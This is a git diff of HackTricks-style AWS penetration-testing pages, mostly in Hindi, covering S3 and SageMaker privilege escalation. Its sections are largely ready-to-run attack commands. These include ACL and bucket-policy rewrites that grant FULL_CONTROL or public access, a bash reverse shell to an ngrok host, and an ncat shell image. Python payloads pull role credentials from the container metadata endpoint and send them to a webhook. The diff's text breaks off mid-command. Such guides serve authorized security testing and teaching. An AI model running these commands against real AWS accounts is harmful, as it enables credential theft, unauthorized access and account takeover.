-"Grantee": {
-"Type": "Group",
-"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
-},
-"Permission": "FULL_CONTROL"
-}
-]
-}
-## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
-```
-### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-
-एक हमलावर इन अनुमतियों का दुरुपयोग करके बकेट के अंदर विशिष्ट वस्तुओं पर अधिक पहुंच प्राप्त कर सकता है।
-```bash
-# Update bucket object ACL
-aws s3api get-object-acl --bucket  --key flag
-aws s3api put-object-acl --bucket  --key flag --access-control-policy file://objacl.json
-
-##JSON ACL example
-## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
-{
-"Owner": {
-"DisplayName": "",
-"ID": ""
-},
-"Grants": [
-{
-"Grantee": {
-"Type": "Group",
-"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
-},
-"Permission": "FULL_CONTROL"
-}
-]
-}
-## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
-```
-### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-
-इन विशेषाधिकारों के साथ एक हमलावर को एक विशिष्ट ऑब्जेक्ट संस्करण पर Acl लगाने में सक्षम होने की उम्मीद है।
-```bash
-aws s3api get-object-acl --bucket  --key flag
-aws s3api put-object-acl --bucket  --key flag --version-id  --access-control-policy file://objacl.json
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
new file mode 100644
index 000000000..cc7fee0c5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -0,0 +1,186 @@
+# AWS - S3 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
+
+उपरोक्त permissions वाले attacker को कुछ रोचक buckets पर resources hijack करने और privileges escalate करने की क्षमता मिल सकती है।
+
+उदाहरण के लिए, "cf-templates-nohnwfax6a6i-us-east-1" नाम के एक attacker के पास ये **permissions over a cloudformation bucket** होने पर deployment को hijack करने में सक्षम होगा। Access नीचे दी गई policy के माध्यम से दिया जा सकता है:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": [
+"s3:PutBucketNotification",
+"s3:GetBucketNotification",
+"s3:PutObject",
+"s3:GetObject"
+],
+"Resource": [
+"arn:aws:s3:::cf-templates-*/*",
+"arn:aws:s3:::cf-templates-*"
+]
+},
+{
+"Effect": "Allow",
+"Action": "s3:ListAllMyBuckets",
+"Resource": "*"
+}
+]
+}
+```
+और hijack संभव है क्योंकि **टेम्पलेट अपलोड होने के क्षण** से लेकर **टेम्पलेट deploy होने** तक एक छोटा समय विंडो होता है। एक attacker बस अपने account में एक **lambda function** बना सकता है जो **trigger** होगा जब एक **bucket notification** भेजा जाता है, और उस **bucket** के **content** को **hijacks** कर लेगा।
+
+![](<../../../images/image (174).png>)
+
+The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) को इस attack को automate करने के लिए इस्तेमाल किया जा सकता है।\
+अधिक जानकारी के लिए मूल रिसर्च देखें: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+
+### `s3:PutObject`, `s3:GetObject` 
+
+ये वे permissions हैं जो S3 पर **objects प्राप्त करने और अपलोड करने** की अनुमति देती हैं। कई सेवाएं, AWS के अंदर (और बाहर) S3 storage का उपयोग **config files** रखने के लिए करती हैं।\
+यदि एक attacker के पास इन पर **read access** है तो वह इन फाइलों में **sensitive information** पा सकता है।\
+यदि एक attacker के पास इन पर **write access** है तो वह **डेटा को modify करके किसी सेवा का दुरुपयोग कर सकता है और privileges escalate करने की कोशिश कर सकता है**।\
+यहाँ कुछ उदाहरण दिए गए हैं:
+
+- यदि एक EC2 instance अपने **user data को एक S3 bucket में** स्टोर कर रहा है, तो एक attacker इसे modify करके **EC2 instance के अंदर arbitrary code execute** करवा सकता है।
+
+### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
+
+यह बहुत आम है कि [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files cloud providers के blob storage में सेव की जाती हैं, जैसे AWS S3। state फ़ाइल का suffix `.tfstate` होता है, और bucket के नाम अक्सर यह दर्शाते हैं कि वे terraform state files रखते हैं। सामान्यतः हर AWS account में ऐसी एक bucket होती है जो account की state दिखाने वाली state files को स्टोर करती है।\
+अक्सर, वास्तविक दुनिया के खातों में लगभग हमेशा सभी developers के पास `s3:*` permissions होते हैं और कभी-कभी business users के पास भी `s3:Put*` होते हैं।
+
+तो, यदि आपके पास इन फाइलों पर सूचीबद्ध permissions हैं, तो एक attack vector मौजूद है जो आपको pipeline में `terraform` के privileges के साथ RCE पाने की अनुमति देता है — अधिकतर समय `AdministratorAccess`, जिससे आप cloud account के admin बन जाते हैं। साथ ही, आप इस vector का उपयोग `terraform` को वैध resources delete करने के लिए कर के denial of service attack भी कर सकते हैं।
+
+सीधे उपयोग योग्य exploit code के लिए *Terraform Security* पेज के *Abusing Terraform State Files* सेक्शन में दी गई व्याख्या का पालन करें:
+
+{{#ref}}
+../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
+{{#endref}}
+
+### `s3:PutBucketPolicy`
+
+एक attacker, जिसे **same account** से होना चाहिए (यदि नहीं तो `The specified method is not allowed` error ट्रिगर होगा), इस permission के साथ अपने आप को उस bucket(s) पर और अधिक permissions दे सकेगा, जिससे वह उन्हें read, write, modify, delete और expose कर सकेगा।
+```bash
+# Update Bucket policy
+aws s3api put-bucket-policy --policy file:///root/policy.json --bucket 
+
+## JSON giving permissions to a user and mantaining some previous root access
+{
+"Id": "Policy1568185116930",
+"Version":"2012-10-17",
+"Statement":[
+{
+"Effect":"Allow",
+"Principal":{
+"AWS":"arn:aws:iam::123123123123:root"
+},
+"Action":"s3:ListBucket",
+"Resource":"arn:aws:s3:::somebucketname"
+},
+{
+"Effect":"Allow",
+"Principal":{
+"AWS":"arn:aws:iam::123123123123:user/username"
+},
+"Action":"s3:*",
+"Resource":"arn:aws:s3:::somebucketname/*"
+}
+]
+}
+
+## JSON Public policy example
+### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
+{
+"Id": "Policy1568185116930",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Stmt1568184932403",
+"Action": [
+"s3:ListBucket"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome",
+"Principal": "*"
+},
+{
+"Sid": "Stmt1568185007451",
+"Action": [
+"s3:GetObject"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome/*",
+"Principal": "*"
+}
+]
+}
+```
+### `s3:GetBucketAcl`, `s3:PutBucketAcl`
+
+एक attacker इन permissions का दुरुपयोग करके specific buckets पर **उसे अधिक access प्रदान कर सकता है।**\
+ध्यान दें कि attacker का same account से होना आवश्यक नहीं है। इसके अलावा write access
+```bash
+# Update bucket ACL
+aws s3api get-bucket-acl --bucket 
+aws s3api put-bucket-acl --bucket  --access-control-policy file://acl.json
+
+##JSON ACL example
+## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
+{
+"Owner": {
+"DisplayName": "",
+"ID": ""
+},
+"Grants": [
+{
+"Grantee": {
+"Type": "Group",
+"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
+},
+"Permission": "FULL_CONTROL"
+}
+]
+}
+## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
+```
+### `s3:GetObjectAcl`, `s3:PutObjectAcl`
+
+एक attacker इन permissions का दुरुपयोग करके buckets के अंदर specific objects पर खुद को अधिक access दे सकता है।
+```bash
+# Update bucket object ACL
+aws s3api get-object-acl --bucket  --key flag
+aws s3api put-object-acl --bucket  --key flag --access-control-policy file://objacl.json
+
+##JSON ACL example
+## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
+{
+"Owner": {
+"DisplayName": "",
+"ID": ""
+},
+"Grants": [
+{
+"Grantee": {
+"Type": "Group",
+"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
+},
+"Permission": "FULL_CONTROL"
+}
+]
+}
+## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
+```
+### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
+
+इन विशेषाधिकारों वाले हमलावर को किसी विशिष्ट ऑब्जेक्ट संस्करण पर Acl लगाने में सक्षम माना जाता है।
+```bash
+aws s3api get-object-acl --bucket  --key flag
+aws s3api put-object-acl --bucket  --key flag --version-id  --access-control-policy file://objacl.json
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
deleted file mode 100644
index 20371a574..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# AWS - Sagemaker Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## AWS - Sagemaker Privesc
-
-
-
-### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
-
-IAM भूमिका के साथ एक नोटबुक बनाना शुरू करें जो इसके साथ जुड़ी हो:
-```bash
-aws sagemaker create-notebook-instance --notebook-instance-name example \
---instance-type ml.t2.medium \
---role-arn arn:aws:iam:::role/service-role/
-```
-उत्तर में एक `NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक उदाहरण का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं, जिसका उपयोग हम नोटबुक उदाहरण तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो:
-```bash
-aws sagemaker create-presigned-notebook-instance-url \
---notebook-instance-name 
-```
-ब्राउज़र के साथ URL पर जाएं और शीर्ष दाएं कोने में \`Open JupyterLab\`\` पर क्लिक करें, फिर “Launcher” टैब पर स्क्रॉल करें और “Other” अनुभाग के तहत “Terminal” बटन पर क्लिक करें।
-
-अब IAM भूमिका के मेटाडेटा क्रेडेंशियल्स तक पहुंचना संभव है।
-
-**संभावित प्रभाव:** निर्दिष्ट सागेमेकर सेवा भूमिका के लिए प्रिवेस्क।
-
-### `sagemaker:CreatePresignedNotebookInstanceUrl`
-
-यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` (या किसी अन्य तरीके से खोज सकते हैं) के साथ सूचीबद्ध कर सकते हैं। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए अनुसार क्रेडेंशियल्स चुरा सकते हैं**।
-```bash
-aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name 
-```
-**संभावित प्रभाव:** सागेमेकर सेवा भूमिका में प्रिवेस्क।
-
-### `sagemaker:CreateProcessingJob,iam:PassRole`
-
-एक हमलावर जिसके पास ये अनुमतियाँ हैं, वह **सागेमेकर को एक प्रोसेसिंगजॉब** निष्पादित करने के लिए कह सकता है जिसमें एक सागेमेकर भूमिका संलग्न है। हमलावर उस कंटेनर की परिभाषा निर्दिष्ट कर सकता है जो **AWS प्रबंधित ECS खाता उदाहरण** में चलाया जाएगा, और **संलग्न IAM भूमिका के क्रेडेंशियल्स चुरा सकता है**।
-```bash
-# I uploaded a python docker image to the ECR
-aws sagemaker create-processing-job \
---processing-job-name privescjob \
---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
---app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
---role-arn 
-
-# In my tests it took 10min to receive the shell
-curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
-```
-**संभावित प्रभाव:** निर्दिष्ट सागेमेकर सेवा भूमिका के लिए प्रिवेस्क।
-
-### `sagemaker:CreateTrainingJob`, `iam:PassRole`
-
-उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल्स चुराने में सक्षम होगा।
-
-> [!WARNING]
-> यह परिदृश्य पिछले वाले की तुलना में शोषण करने के लिए अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिवर्स शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)।
->
-> ```bash
-> # Docker छवि बनाएँ
-> mkdir /tmp/rev
-> ## ध्यान दें कि प्रशिक्षण नौकरी एक निष्पादन योग्य को "train" कहा जाएगा
-> ## यही कारण है कि मैं रिवर्स शेल को /bin/train में रख रहा हूँ
-> ##  और  के मान सेट करें
-> cat > /tmp/rev/Dockerfile < FROM ubuntu
-> RUN apt update && apt install -y ncat curl
-> RUN printf '#!/bin/bash\nncat   -e /bin/sh' > /bin/train
-> RUN chmod +x /bin/train
-> CMD ncat   -e /bin/sh
-> EOF
->
-> cd /tmp/rev
-> sudo docker build . -t reverseshell
->
-> # इसे ECR पर अपलोड करें
-> sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/
-> sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest
-> sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest
-> ```
-```bash
-# Create trainning job with the docker image created
-aws sagemaker create-training-job \
---training-job-name privescjob \
---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
---algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
---role-arn  \
---output-data-config '{"S3OutputPath": "s3://"}' \
---stopping-condition '{"MaxRuntimeInSeconds": 600}'
-
-#To get the creds
-curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
-## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
-```
-**संभावित प्रभाव:** निर्दिष्ट सागेमेकर सेवा भूमिका के लिए प्रिवेस्क।
-
-### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
-
-उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण कार्य** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\
-_मैंने समय की कमी के कारण इसका लाभ नहीं उठाया, लेकिन यह पिछले शोषणों के समान लगता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।_
-
-## संदर्भ
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
new file mode 100644
index 000000000..96914b3ae
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
@@ -0,0 +1,446 @@
+# AWS - Sagemaker Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS - Sagemaker Privesc
+
+### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
+
+access के लिए attached IAM Role के साथ notebook बनाना शुरू करें:
+```bash
+aws sagemaker create-notebook-instance --notebook-instance-name example \
+--instance-type ml.t2.medium \
+--role-arn arn:aws:iam:::role/service-role/
+```
+प्रतिक्रिया में `NotebookInstanceArn` फ़ील्ड होना चाहिए, जो नए बनाए गए नोटबुक इंस्टेंस का ARN रखेगा। इसके बाद हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL जनरेट कर सकते हैं जिसका उपयोग हम नोटबुक इंस्टेंस को तैयार होने पर एक्सेस करने के लिए कर सकते हैं:
+```bash
+aws sagemaker create-presigned-notebook-instance-url \
+--notebook-instance-name 
+```
+ब्राउज़र में URL पर जाएँ और ऊपर दाहिने में `Open JupyterLab`` पर क्लिक करें, फिर “Launcher” टैब तक नीचे स्क्रॉल करें और “Other” सेक्शन के अंतर्गत “Terminal” बटन पर क्लिक करें।
+
+अब IAM Role के metadata credentials तक पहुँच संभव है।
+
+**संभावित प्रभाव:** Privesc to the निर्दिष्ट sagemaker service role.
+
+### `sagemaker:CreatePresignedNotebookInstanceUrl`
+
+यदि उस पर Jupyter **notebooks पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` के साथ सूचीबद्ध कर सकते हैं (या किसी अन्य तरीके से खोज लेते हैं), तो आप **उनके लिए एक URL जनरेट कर सकते हैं, उन तक पहुँच सकते हैं, और पिछले तकनीक में बताये गए तरीके के अनुसार credentials चुरा सकते हैं**।
+```bash
+aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name 
+```
+**संभावित प्रभाव:** Privesc to the sagemaker service role attached.
+
+## `sagemaker:CreatePresignedDomainUrl`
+
+> [!WARNING]
+> यह attack केवल पुराने पारंपरिक SageMaker Studio domains पर काम करता है, उन पर नहीं जो SageMaker Unified Studio द्वारा बनाए गए हैं। Unified Studio के domains यह error लौटाएंगे: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
+
+एक identity जिसके पास target Studio `UserProfile` पर `sagemaker:CreatePresignedDomainUrl` कॉल करने की permission है, वह उस profile के रूप में सीधे SageMaker Studio में authenticate करने वाला एक login URL बना सकता है। इससे attacker के browser को एक Studio session मिलता है जो profile के `ExecutionRole` permissions और profile के EFS-backed home और apps तक पूरा access देता है। किसी `iam:PassRole` या console access की आवश्यकता नहीं है।
+
+**आवश्यकताएँ**:
+- एक SageMaker Studio `Domain` और उसके भीतर एक लक्ष्य `UserProfile`.
+- attacker principal को लक्ष्य `UserProfile` पर `sagemaker:CreatePresignedDomainUrl` की आवश्यकता होती है (resource‑level) या `*`.
+
+Minimal policy example (scoped to one UserProfile):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sagemaker:CreatePresignedDomainUrl",
+"Resource": "arn:aws:sagemaker:::user-profile//"
+}
+]
+}
+```
+**दुरुपयोग के चरण**:
+
+1) उस Studio Domain और UserProfiles की सूचीबद्ध करें जिन्हें आप लक्षित कर सकते हैं
+```bash
+DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
+aws sagemaker list-user-profiles --domain-id-equals $DOM
+TARGET_USER=
+```
+2) जांचें कि unified studio का उपयोग नहीं हो रहा है (attack केवल पारंपरिक SageMaker Studio डोमेन्स पर काम करता है)
+```bash
+aws sagemaker describe-domain --domain-id  --query 'DomainSettings'
+# If you get info about unified studio, this attack won't work
+```
+3) एक presigned URL बनाएं (डिफ़ॉल्ट रूप से ~5 मिनट के लिए वैध)
+```bash
+aws sagemaker create-presigned-domain-url \
+--domain-id $DOM \
+--user-profile-name $TARGET_USER \
+--query AuthorizedUrl --output text
+```
+4) लौटाई गई URL को किसी ब्राउज़र में खोलें और लक्ष्य उपयोगकर्ता के रूप में Studio में साइन-इन करें। Studio के अंदर Jupyter टर्मिनल में effective identity को सत्यापित करें या token को exfiltrate करें:
+```bash
+aws sts get-caller-identity
+```
+नोट:
+- `--landing-uri` छोड़ा जा सकता है। कुछ मान (जैसे, `app:JupyterLab:/lab`) Studio के flavour/version पर निर्भर करके अस्वीकार किए जा सकते हैं; डिफ़ॉल्ट आम तौर पर Studio होम और फिर Jupyter पर रीडाइरेक्ट करते हैं।
+- Org policies/VPC endpoint restrictions अभी भी नेटवर्क एक्सेस को ब्लॉक कर सकते हैं; token minting के लिए कंसोल साइन‑इन या `iam:PassRole` की आवश्यकता नहीं होती।
+
+**Potential Impact**: Lateral movement and privilege escalation by assuming any Studio `UserProfile` whose ARN is permitted, inheriting its `ExecutionRole` and filesystem/apps.
+
+
+### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
+
+एक identity जिसके पास target SageMaker MLflow Tracking Server के लिए `sagemaker:CreatePresignedMlflowTrackingServerUrl` (और बाद में पहुँच के लिए `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`) कॉल करने की अनुमति है, एक single‑use presigned URL mint कर सकता/सकती है जो उस सर्वर के managed MLflow UI में सीधे authenticate करता/करती है। इससे वैध उपयोगकर्ता को जो पहुँच मिलती है वही पहुँच मिलती है (experiments और runs को view/create करना, और सर्वर के S3 artifact store में artifacts download/upload करना)।
+
+**आवश्यकताएँ:**
+- account/region में एक SageMaker MLflow Tracking Server और उसका नाम।
+- attacker principal को target MLflow Tracking Server resource (या `*`) पर `sagemaker:CreatePresignedMlflowTrackingServerUrl` की आवश्यकता है।
+
+**दुरुपयोग के कदम**:
+
+1) अपनी पहुँच में आने वाले MLflow Tracking Servers को सूचीबद्ध करें और एक नाम चुनें
+```bash
+aws sagemaker list-mlflow-tracking-servers \
+--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
+TS_NAME=
+```
+2) एक presigned MLflow UI URL जनरेट करें (थोड़े समय के लिए वैध)
+```bash
+aws sagemaker create-presigned-mlflow-tracking-server-url \
+--tracking-server-name "$TS_NAME" \
+--query AuthorizedUrl --output text
+```
+3) लौटाए गए URL को किसी ब्राउज़र में खोलें ताकि उस Tracking Server के लिए एक प्रमाणीकृत उपयोगकर्ता के रूप में MLflow UI तक पहुँच सकें।
+
+**Potential Impact:** लक्षित Tracking Server के प्रबंधित MLflow UI तक प्रत्यक्ष पहुँच, जिससे सर्वर की कॉन्फ़िगरेशन द्वारा लागू अनुमतियों के भीतर experiments/runs को देखने और संशोधित करने तथा सर्वर के कॉन्फ़िगर किए गए S3 artifact store में संग्रहीत artifacts को प्राप्त करने या अपलोड करने की क्षमता मिलती है।
+
+
+### `sagemaker:CreateProcessingJob`, `iam:PassRole`
+
+उन अनुमतियों वाले एक हमलावर द्वारा SageMaker के साथ एक SageMaker role संलग्न कराके **SageMaker से एक processing job execute** कराया जा सकता है। AWS Deep Learning Containers में से किसी एक का पुन: उपयोग करके जिसमें पहले से Python शामिल होता है (और job को उसी region में चलाते हुए जहाँ URI है), आप अपनी खुद की images बनाए बिना inline कोड चला सकते हैं:
+```bash
+REGION=
+ROLE_ARN=
+IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
+ENV='{"W":"https://example.com/webhook"}'
+
+aws sagemaker create-processing-job \
+--processing-job-name privescjob \
+--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
+--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
+--environment "$ENV" \
+--role-arn $ROLE_ARN
+
+# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
+```
+**Potential Impact:** निर्दिष्ट sagemaker service role पर Privesc।
+
+### `sagemaker:CreateTrainingJob`, `iam:PassRole`
+
+उन अनुमतियों वाले एक हमलावर उस निर्दिष्ट role के साथ मनमाना कोड चलाने वाला एक training job लॉन्च कर सकता है। SageMaker के आधिकारिक कंटेनर का उपयोग करके और entrypoint को payload inline से ओवरराइट करके, आपको अपनी खुद की इमेजेज़ बनाने की ज़रूरत नहीं है:
+```bash
+REGION=
+ROLE_ARN=
+IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
+ENV='{"W":"https://example.com/webhook"}'
+OUTPUT_S3=s3:///training-output/
+# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
+
+aws sagemaker create-training-job \
+--training-job-name privesc-train \
+--role-arn $ROLE_ARN \
+--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
+--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
+--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
+--stopping-condition '{"MaxRuntimeInSeconds":600}' \
+--environment "$ENV"
+
+# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
+```
+**संभावित प्रभाव:** Privesc निर्दिष्ट SageMaker service role तक।
+
+### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
+
+उन अनुमतियों वाले attacker HyperParameter Tuning Job लॉन्च कर सकते हैं जो दिए गए role के तहत attacker-controlled code चलाता है। Script mode में payload को S3 में होस्ट करना आवश्यक है, लेकिन सभी कदम CLI से स्वचालित किए जा सकते हैं:
+```bash
+REGION=
+ROLE_ARN=
+BUCKET=sm-hpo-privesc-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+
+# Allow public reads so any SageMaker role can pull the code
+aws s3api put-public-access-block \
+--bucket $BUCKET \
+--public-access-block-configuration '{
+"BlockPublicAcls": false,
+"IgnorePublicAcls": false,
+"BlockPublicPolicy": false,
+"RestrictPublicBuckets": false
+}'
+
+aws s3api put-bucket-policy --bucket $BUCKET --policy "{
+\"Version\": \"2012-10-17\",
+\"Statement\": [
+{
+\"Effect\": \"Allow\",
+\"Principal\": \"*\",
+\"Action\": \"s3:GetObject\",
+\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
+}
+]
+}"
+
+cat <<'EOF' > /tmp/train.py
+import os, time, urllib.request
+
+def main():
+meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
+if not meta:
+return
+creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
+req = urllib.request.Request(
+"https://example.com/webhook",
+data=creds,
+headers={"Content-Type": "application/json"}
+)
+urllib.request.urlopen(req)
+print("train:loss=0")
+time.sleep(300)
+
+if __name__ == "__main__":
+main()
+EOF
+
+cd /tmp
+tar -czf code.tar.gz train.py
+aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
+
+echo "dummy" > /tmp/input.txt
+aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
+
+IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
+CODE_S3=s3://$BUCKET/code/train-code.tar.gz
+TRAIN_INPUT_S3=s3://$BUCKET/input
+OUTPUT_S3=s3://$BUCKET/output
+# El rol necesita permisos ECR y escritura en el bucket.
+
+cat > /tmp/hpo-definition.json < [!WARNING]
+> यह attack तभी संभव है जब profile में कोई applications न हों, अन्यथा app creation इस तरह की त्रुटि के साथ विफल हो जाएगा: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
+> यदि कोई app मौजूद है तो उन्हें हटाने के लिए पहले आपको `sagemaker:DeleteApp` permission की आवश्यकता होगी।
+
+कदम:
+```bash
+# 1) List Studio domains and pick a target
+aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
+
+# 2) List Studio user profiles and pick a target
+aws sagemaker list-user-profiles --domain-id-equals 
+
+# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
+ROLE_ARN=arn:aws:iam:::role/
+
+# 3) Update the Studio profile to use the new role (no iam:PassRole)
+aws sagemaker update-user-profile \
+--domain-id  \
+--user-profile-name  \
+--user-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-user-profile \
+--domain-id  \
+--user-profile-name  \
+--query 'UserSettings.ExecutionRole' --output text
+
+# 3.1) Optional if you need to delete existing apps first
+# List existing apps
+aws sagemaker list-apps \
+--domain-id-equals 
+
+# Delete an app
+aws sagemaker delete-app \
+--domain-id  \
+--user-profile-name  \
+--app-type JupyterServer \
+--app-name 
+
+# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
+aws sagemaker create-app \
+--domain-id  \
